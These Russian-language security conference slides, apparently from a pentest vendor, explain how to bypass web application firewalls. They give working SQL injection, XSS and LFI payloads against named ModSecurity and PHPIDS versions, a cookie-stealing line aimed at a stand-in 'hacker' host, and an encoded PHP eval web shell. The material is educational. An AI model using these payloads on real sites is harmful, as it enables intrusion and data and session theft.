Практика обхода WAF: HTTP Parameter Pollution (HPP)
Практика обхода WAF: SQL Injection – HPP
Пример в среде Apache/PHP/Mod_Rewrite
Правило mod_rewrite:...RewriteRule (.+)/(.+)/(.+)/$ / index.php?action=view&module=$1&category=$2&id=$3…
HTTP-запрос:
GET /1/2/3&action=edit/ HTTP/1.1Host: localhost…
После обработки такого HTTP-запроса в Web-приложение поступит переменная GET[action] с установленным значением "edit” вместо ожидаемого значения "view".
Практика обхода WAF: HTTP Parameter Pollution (HPP)
Технология/Среда Интерпретация параметров Пример
ASP.NET/IIS Склеивание через запятую par1=val1,val2
ASP/IIS Склеивание через запятую par1=val1,val2
PHP/APACHE Последний параметр результирующий par1=val2
PHP/Zeus Последний параметр результирующий par1=val2
JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1
JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1
JSP,Servlet/Jetty Первый параметр результирующий par1=val1
IBM Lotus Domino Первый параметр результирующий par1=val1
IBM HTTP Server Последний параметр результирующий par1=val2
mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1
Perl CGI/Apache Первый параметр результирующий par1=val1
mod_perl,lib???/Apache Первый параметр результирующий par1=val1
mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c)
Pythin/Zope Первый параметр результирующий par1=val1
IceWarp Возвращается массив ['val1','val2']
AXIS 2400 Последний параметр результирующий par1=val2
Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2
Ricoh Aficio 1022 Printer Последний параметр результирующий par1=val2
webcamXP Pro Первый параметр результирующий par1=val1
DBMan Склеивание через две тильды par1=val1~~val2
Практика обхода WAF: SQL Injection – HPP (пример 2)
Использование HTTP Parameter Pollution (HPP)
• Уязвимый код
SQL="select key from table where id="+Request.QueryString("id")
• Такой запрос успешно отработает при использовании техники HPP
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
• SQL-запрос примет вид
select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf
Практика обхода WAF: SQL Injection – HPF
Использование HTTP Parameter Fragmentation (HPF)
• Пример уязвимого кода
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c']);
• Следующий запрос не позволяет провести атаку
/?a=1+union+select+1,2/*
• При использовании HPF такие запросы могут успешно отработать
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
• SQL-запросы принимают вид
select * from table where a=1 union/* and b=*/select 1,2
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
http://devteev.blogspot.com/2009/09/http-parameter-fragmentation-hpf-web.html
Практика обхода WAF: Blind SQL Injection
Использование логических запросов AND и OR
• Следующий запрос для многих WAF позволяет успешно провести атаку
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
Вместо знака равенства может использоваться отрицание или неравенство (!=, <>, <, >) – Парадокс! Но многие WAF это пропускают.
Заменяя функции SQL, которые попадают в сигнатуры WAF, на их синонимы, можно эксплуатировать уязвимость методом blind-SQL Injection
substring() -> mid(), substr(), etc
ascii() -> hex(), bin(), etc
benchmark() -> sleep()
Данный пример справедлив для всех WAF, разработчики которых стремятся охватить как можно больше web-приложений
Практика обхода WAF: SQL Injection – PHPIDS
PHPIDS (0.6.1.1)
Ругается на: /?id=1+union+select+user,password+from+mysql.user+where+user=1
Но пропускает: /?id=1+union+select+user,password+from+mysql.user+limit+0,1
Ругается на: /?id=1+OR+1=1
Но пропускает: /?id=1+OR+0x50=0x50
Ругается на: /?id=substring((1),1,1)
Но пропускает: /?id=mid((1),1,1)
Практика обхода WAF: SQL Injection – Mod_Security
Mod_Security (2.5.9)
Ругается на: /?id=1+and+ascii(lower(substring((select+pwd+from+users+limit+1,1),1,1)))=74
Но пропускает: /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
Ругается на: /?id=1+OR+1=1
Но пропускает: /?id=1+OR+0x50=0x50
Ругается на: /?id=1+and+5=6
Но пропускает: /?id=1+and+5!=6
Ругается на: /?id=1;drop members
Но пропускает: /?id=1;delete members
Практика обхода WAF: SQL Injection – Mod_Security
И еще один красивый способ эксплуатации SQL Injection в обход Mod_Security (2.5.9)
Сервер MySQL позволяет использовать комментарии вида:
/*!sql-code*/ и /*!12345sql-code*/
Воспользовавшись этим, можно очень элегантно проводить эксплуатацию SQL Injection в обход текущей версии mod_security. Примеры:
/?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/
/?id=1/*!12345limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/
/?id=1/*!limit+0+union+select+concat_ws(0x3a,username,password,email)+from+users*/
http://devteev.blogspot.com/2009/10/sql-injection-waf.html
Общие проблемы
• Сохраненный вариант XSSВ случае если удалось «протащить» XSS через фильтр, WAF не
сможет воспрепятствовать реализации атаки
• Отраженный вариант XSS в JavascriptПример: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>Эксплуатация: /?xss=500); alert(document.cookie);//
• DOM-based XSSПример: <script> ... eval($_GET[xss]); ... </script>Эксплуатация: /?xss=document.cookie
Аналогичные проблемы наблюдаются у фильтров защиты от XSS на уровне client-side (например, IE8)
Методы обхода WAF – Cross-Site Scripting
Практика обхода WAF: Cross-Site Scripting
XSS через перенаправление запроса• Уязвимый код:…header('Location: '.$_GET['param']);…А также:…header('Refresh: 0; URL='.$_GET['param']);…
• Такой запрос WAF не пропустит:/?param=javascript:alert(document.cookie)
• Подобный запрос WAF пропустит, и XSS отработает на некоторых браузерах (Opera, Safari, Chrome, etc):
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
http://websecurity.com.ua/3386/; http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00116.html
Практика обхода WAF: Cross-Site Scripting
Использование HPP, HPF иногда позволяет обойти фильтры
Обход правил фильтрации на примере ModSecurity:
<img src="x:alert" onerror="eval(src%2b'(0)')">
";document.write('<img sr'%2b'c=http://hacker/x.png?'%2bdocument['cookie']%2b'>');"
...
BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
Практика обхода WAF: Path Traversal и LFI
Действительно, обойти сигнатуру «../» и «..\» не всегда возможно, но всегда ли это требуется?
Пример 1. Чтение файлов в каталоге, расположенном выше корневого• Логика программы:<? include($_GET['file'].".txt") ; ?>• Эксплуатация уязвимости:/?file=secrets/admins.db/./.[N]/././?file=secrets/admins.db..[N]..
Уязвимость основана на двух особенностях в функциях PHP для взаимодействия с файловой системой:
- Нормализация пути (лишние символы, например, «/» и «/.» , удаляются)- Усечение пути (определяется константой MAX_PATH, которая обычно меньше
MAX_URI_PATH в WAF)
http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736; http://raz0r.name/articles/null-byte-alternative/
Практика обхода WAF: Path Traversal и LFI
Использование замены null-byte в реальных условиях
При эксплуатации LFI с использованием метода по обходу null-byte могут использоваться следующие запросы: "any/../file[N]", или "../../file[N]", или "/../../file[N]", где [N] - замена null-byte, характерная для атакуемой ОС.
Примеры (среда FreeBSD 7.2 с php v5.2.10 with Suhosin-Patch 0.9.7):
<? include("q/".$_GET['f'].".txt"); ?> Для выполнения атаки работает: /?f=../../../../../etc/passwd/.[N]/. , где /.[N]/. - repeat("/.", 487)
<? include("qq/".$_GET['f'].".txt"); ?> Предыдущий URL не позволит получить /etc/passwd. Но такой запрос успешно отработает: /?f=/../../../../../etc/passwd/.[N]/.
<? include($_GET['f'].".txt"); ?> Предыдущие запросы не сработают. Отработает следующий URL: /?f=non/../../../../../etc/passwd/.[N]/.
http://devteev.blogspot.com/2009/08/null-byte.html; http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt
Практика обхода WAF: Path Traversal и LFI
Пример 2. Выполнение команд на сервере• Логика программы:<? include($_GET['file'].".txt") ; ?>
• Эксплуатация уязвимости:Запрос, блокируемый WAF:/?file=data:,<?php eval($_REQUEST[cmd]);?>&cmd=phpinfo();
Запрос, который WAF пропускает:/?
file=data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8%2b&cmd=phpinfo();
Уязвимость основана на особенности интерпретатора PHP (allow_url_fopen & allow_url_include должны находиться в состоянии enable)
reference: коллективный разум antichat.ru
Практика обхода WAF: Remote File Including
Фундаментальные ограничения WAF (универсальный фильтр будет блокировать легитимные запросы!)
Примеры легитимных запросов в логике крупных web-ресурсов:
Перенаправление HTTP-запроса:• http://www.securitylab.ru/exturl.php?goto=http://ya.ru• http://rbc.ru/cgi-bin/redirect.cgi?http://top.rbc.ru• http://www.google.com/url?url=http://ya.ru• http://vkontakte.ru/away.php?to=http://ya.ru
...
Обычная запись в Wiki:• http://en.wikipedia.org/wiki/Http://www.google.com
Online-переводчик:• http://translate.google.ru/translate?hl=en&sl=ru&u=http://ya.ru
Уязвимости в «живой природе»
SQL Injection можно встретить даже на широко известных и крупных Интернет-ресурсах
SQL Injection в «живой природе»
XSS – «головная боль» для всех web-проектов
Cross-Site Scripting в «живой природе»
К чему приводит беззаботное отношение к безопасности web-приложений?
СЕРВЕРЫ
СЕТЕВОЕ ОБОРУДОВА
НИЕ
РАБОЧИЕ СТАНЦИИ
ГОЛОВНОЙ ОФИС
ФИЛИАЛРАБОЧИЕ СТАНЦИИ
СЕРВЕРЫ
СЕТЕВОЕ ОБОРУДОВА
НИЕ
WEB-СЕРВЕР
Мы немного посканировали…
СЕРВЕРЫ
СЕТЕВОЕ ОБОРУДОВА
НИЕ
РАБОЧИЕ СТАНЦИИ
ГОЛОВНОЙ ОФИС
ФИЛИАЛРАБОЧИЕ СТАНЦИИ
СЕРВЕРЫ
СЕТЕВОЕ ОБОРУДОВА
НИЕ
MP SERVER
Рабочее место
аудитора
WEB-СЕРВЕР
АНАЛИЗ ЗАЩИЩЕННОСТИ
ПРОВЕДЕНИЕ ПРОВЕРОК
ПРОВЕДЕНИЕ ПРОВЕРОК
Инструментальное обследование сети
Сканирование портов и сервисов
Исследование защищенности web-приложения методом «черного ящика»
…обнаружили уязвимость в web-приложении…
СЕРВЕРЫ
СЕТЕВОЕ ОБОРУДОВА
НИЕ
РАБОЧИЕ СТАНЦИИ
ГОЛОВНОЙ ОФИС
ФИЛИАЛРАБОЧИЕ СТАНЦИИ
СЕРВЕРЫ
СЕТЕВОЕ ОБОРУДОВА
НИЕ
MP SERVER
Рабочее место
аудитора
WEB-СЕРВЕР
ПОДОБРАН ПАРОЛЬ
ПРОВЕДЕНИЕ ПРОВЕРОК
ПРОВЕДЕНИЕ ПРОВЕРОК
Сканирование сети
Успешно подобран пароль!
• Эксплуатация SQL Injection
• Выполнение команд на сервере
• Повышение привилегий• Атака на внутренние
ресурсы
…захватили управление всей сетью :-)
СЕРВЕРЫ
СЕТЕВОЕ ОБОРУДОВА
НИЕ
РАБОЧИЕ СТАНЦИИ
ГОЛОВНОЙ ОФИС
ФИЛИАЛРАБОЧИЕ СТАНЦИИ
СЕРВЕРЫ
СЕТЕВОЕ ОБОРУДОВА
НИЕ
MP SERVER
Рабочее место
аудитора
WEB-СЕРВЕР
ПОДОБРАН ПАРОЛЬ
ПРОВЕДЕНИЕ ПРОВЕРОК
ПРОВЕДЕНИЕ ПРОВЕРОК
Внутренний пентест/аудит по результатам пентеста
Внутренний пентест/аудит по результатам пентеста
Сканирование сети
Успешно подобран пароль!• Эксплуатация SQL
Injection• Выполнение команд на
сервере• Повышение привилегий• Атака на внутренние
ресурсы
Внутренний пентест• Установка сканера
MaxPatrol• Поиск уязвимостей• Эксплуатация уязвимостей
Перемещение в ИС ЦО• Проведение атаки на
ресурсы ЦО
Получение максимальных привилегий во всей сети!
Резюме
WAF – это не долгожданная "серебряная пуля"
• WAF не устраняет уязвимость, а лишь (частично) прикрывает вектор атаки
• Концептуальные проблемы WAF – использование сигнатурного принципа
Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде
Безопасность должна быть разумной
Безопасность должна быть комплексной
Безопасность – это непрерывный процесс
Спасибо за внимание!
[email protected]@ptsecurity.ruhttp://www.ptsecurity.ru/